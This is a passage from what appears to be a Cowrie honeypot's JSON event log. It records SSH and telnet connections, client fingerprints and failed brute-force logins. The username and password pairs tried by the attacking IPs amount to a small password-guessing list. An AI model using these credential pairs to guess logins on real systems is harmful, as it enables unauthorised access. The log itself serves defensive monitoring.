-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:29:41.341043Z","src_ip":"104.208.108.166","session":"05b4b8034657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2357","message":"login attempt [root/2357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:29:42.270618Z","src_ip":"104.208.108.166","session":"05b4b8034657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:29:43.498273Z","src_ip":"104.208.108.166","session":"05b4b8034657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.180.170.232","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"304a22b43acf","protocol":"telnet","message":"New connection: 119.180.170.232:44944 (10.17.0.5:23) [session: 304a22b43acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:30:43.596331Z"}
{"eventid":"cowrie.session.closed","duration":30.492801189422607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:31:14.089018Z","src_ip":"119.180.170.232","session":"304a22b43acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":9772,"dst_ip":"10.17.0.5","dst_port":22,"session":"3107d7f422bb","protocol":"ssh","message":"New connection: 104.208.108.166:9772 (10.17.0.5:22) [session: 3107d7f422bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:27.810275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:27.814620Z","src_ip":"104.208.108.166","session":"3107d7f422bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:28.026042Z","src_ip":"104.208.108.166","session":"3107d7f422bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"azerty","message":"login attempt [debian/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:28.905507Z","src_ip":"104.208.108.166","session":"3107d7f422bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:30.121640Z","src_ip":"104.208.108.166","session":"3107d7f422bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":35586,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5017bcf0b8d","protocol":"ssh","message":"New connection: 115.241.83.2:35586 (10.17.0.5:22) [session: e5017bcf0b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:58.329578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:58.333086Z","src_ip":"115.241.83.2","session":"e5017bcf0b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:58.556186Z","src_ip":"115.241.83.2","session":"e5017bcf0b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass123","message":"login attempt [git/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:35:59.480550Z","src_ip":"115.241.83.2","session":"e5017bcf0b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:00.706428Z","src_ip":"115.241.83.2","session":"e5017bcf0b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":61972,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a93bc3b6de","protocol":"ssh","message":"New connection: 104.208.108.166:61972 (10.17.0.5:22) [session: 94a93bc3b6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:24.845469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:24.849485Z","src_ip":"104.208.108.166","session":"94a93bc3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:25.073716Z","src_ip":"104.208.108.166","session":"94a93bc3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Soluship@123","message":"login attempt [root/Soluship@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:26.003558Z","src_ip":"104.208.108.166","session":"94a93bc3b6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:36:27.231421Z","src_ip":"104.208.108.166","session":"94a93bc3b6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":36788,"dst_ip":"10.17.0.5","dst_port":22,"session":"f542011f0c90","protocol":"ssh","message":"New connection: 104.208.108.166:36788 (10.17.0.5:22) [session: f542011f0c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:37:19.913735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:37:19.918335Z","src_ip":"104.208.108.166","session":"f542011f0c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:37:20.129533Z","src_ip":"104.208.108.166","session":"f542011f0c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123!@#","message":"login attempt [ubuntu/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:37:21.007940Z","src_ip":"104.208.108.166","session":"f542011f0c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:37:22.221706Z","src_ip":"104.208.108.166","session":"f542011f0c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0555df0293","protocol":"ssh","message":"New connection: 104.208.108.166:32902 (10.17.0.5:22) [session: 8c0555df0293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:13.561950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:13.565430Z","src_ip":"104.208.108.166","session":"8c0555df0293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:13.789601Z","src_ip":"104.208.108.166","session":"8c0555df0293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lf123456@","message":"login attempt [root/Lf123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:14.720863Z","src_ip":"104.208.108.166","session":"8c0555df0293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:15.949141Z","src_ip":"104.208.108.166","session":"8c0555df0293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":34212,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa79ed3643d7","protocol":"ssh","message":"New connection: 152.244.206.148:34212 (10.17.0.5:22) [session: aa79ed3643d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:38.923095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:38.927530Z","src_ip":"152.244.206.148","session":"aa79ed3643d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:39.063020Z","src_ip":"152.244.206.148","session":"aa79ed3643d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guoguo123","message":"login attempt [root/guoguo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:40.026318Z","src_ip":"152.244.206.148","session":"aa79ed3643d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:38:41.167454Z","src_ip":"152.244.206.148","session":"aa79ed3643d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":44116,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab9da1f5b08d","protocol":"ssh","message":"New connection: 104.208.108.166:44116 (10.17.0.5:22) [session: ab9da1f5b08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:06.096422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:06.101244Z","src_ip":"104.208.108.166","session":"ab9da1f5b08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:06.313166Z","src_ip":"104.208.108.166","session":"ab9da1f5b08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hf@123456","message":"login attempt [root/Hf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:07.193283Z","src_ip":"104.208.108.166","session":"ab9da1f5b08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:08.409116Z","src_ip":"104.208.108.166","session":"ab9da1f5b08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":26646,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe2480e93cb2","protocol":"ssh","message":"New connection: 104.208.108.166:26646 (10.17.0.5:22) [session: fe2480e93cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:59.732910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:59.737778Z","src_ip":"104.208.108.166","session":"fe2480e93cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:39:59.953225Z","src_ip":"104.208.108.166","session":"fe2480e93cb2","protocol":"ssh"}
